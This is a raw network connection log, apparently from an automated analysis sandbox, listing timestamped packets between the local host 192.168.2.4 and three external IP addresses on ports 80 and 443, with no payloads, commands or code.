Sep 11, 2024 16:22:19.266021013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266031027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266035080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266040087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266077995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266077995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266123056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266128063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266139030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266144037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266148090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266159058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266164064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266169071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266172886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266172886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266185999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266191006 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266205072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266248941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266258001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266263962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266273975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266288996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266294956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266299963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266299963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266318083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266334057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266537905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266575098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266580105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266588926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266590118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266597033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266628027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.266637087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266642094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266644001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.266690016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.266717911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.266724110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266735077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266740084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266748905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266753912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266765118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266769886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266771078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266807079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.266835928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266841888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266851902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266858101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266865969 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266865969 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266885996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266927958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266933918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266944885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266948938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266954899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266954899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266967058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266979933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266984940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266990900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.266999006 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267008066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267054081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267055035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267066956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267077923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267082930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267087936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267110109 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267121077 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267177105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267183065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267193079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267198086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267205000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267216921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267220974 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267237902 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267297029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267302036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267313004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267318010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267322063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267338037 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267400980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267404079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267407894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267412901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267417908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267460108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267460108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267549992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267555952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267569065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267574072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267580032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267584085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267589092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267594099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267595053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267616987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267627954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267632961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267637968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267637968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267646074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267649889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267651081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267657995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267668962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267669916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267677069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267682076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267683983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267703056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267710924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267741919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267760992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.267769098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267775059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267781019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267826080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.267826080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.267855883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267862082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267872095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267899036 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267906904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.267913103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267924070 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267924070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267950058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.267959118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.267995119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.267997980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.267999887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268007040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268013954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268019915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268030882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268035889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268058062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268063068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268063068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268063068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268069029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268110991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268110991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268189907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268196106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268207073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268229008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268234015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268244982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268249989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.268250942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268250942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268296003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268296003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.268390894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.271281958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.286046028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286093950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286101103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286238909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286243916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286254883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286253929 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.286259890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286269903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.286288977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.286317110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.296199083 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.296282053 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.297781944 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.297945023 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.297955036 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.297977924 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.297995090 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.298012972 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.305306911 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.305385113 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.306045055 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.306107044 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.307116985 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.307177067 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.308048010 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.308105946 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.309070110 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.309130907 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.319030046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319037914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319044113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319088936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319093943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319099903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319108963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319112062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319118023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319128990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319134951 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319164038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319192886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319200039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319211006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319216967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319228888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319231987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319236040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319247961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319267035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319345951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319351912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319363117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319370031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319380999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319392920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319396019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319400072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319425106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319911003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319917917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319953918 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319957972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319960117 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319982052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.319988966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.319996119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320022106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320025921 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320029020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320060968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320379019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320385933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320422888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320425987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320429087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320439100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320461035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320482969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320509911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320514917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320525885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320547104 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320570946 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320573092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320579052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320590019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320595980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320611954 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320636034 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320756912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320763111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320772886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320777893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320785046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320801020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320805073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320806980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320813894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320823908 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320825100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320841074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320858955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320877075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320883036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320894003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320914030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320921898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320928097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320936918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320939064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320945024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.320962906 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.320986986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321408033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321413994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321424007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321429968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321435928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321446896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321453094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321455002 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321459055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321465969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321472883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321474075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321479082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321490049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321491957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321496964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321507931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321510077 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321516037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.321531057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.321553946 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.322334051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322339058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322350025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322355032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322360992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322366953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322377920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.322386980 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.322415113 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.322704077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322710037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322721004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322726965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322735071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322745085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.322762012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.322778940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.324671030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.324686050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.331630945 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.342370033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342377901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342389107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342411995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342417002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342427969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342433929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.342513084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.342513084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.345683098 CEST	80	49734	147.45.44.104	192.168.2.4
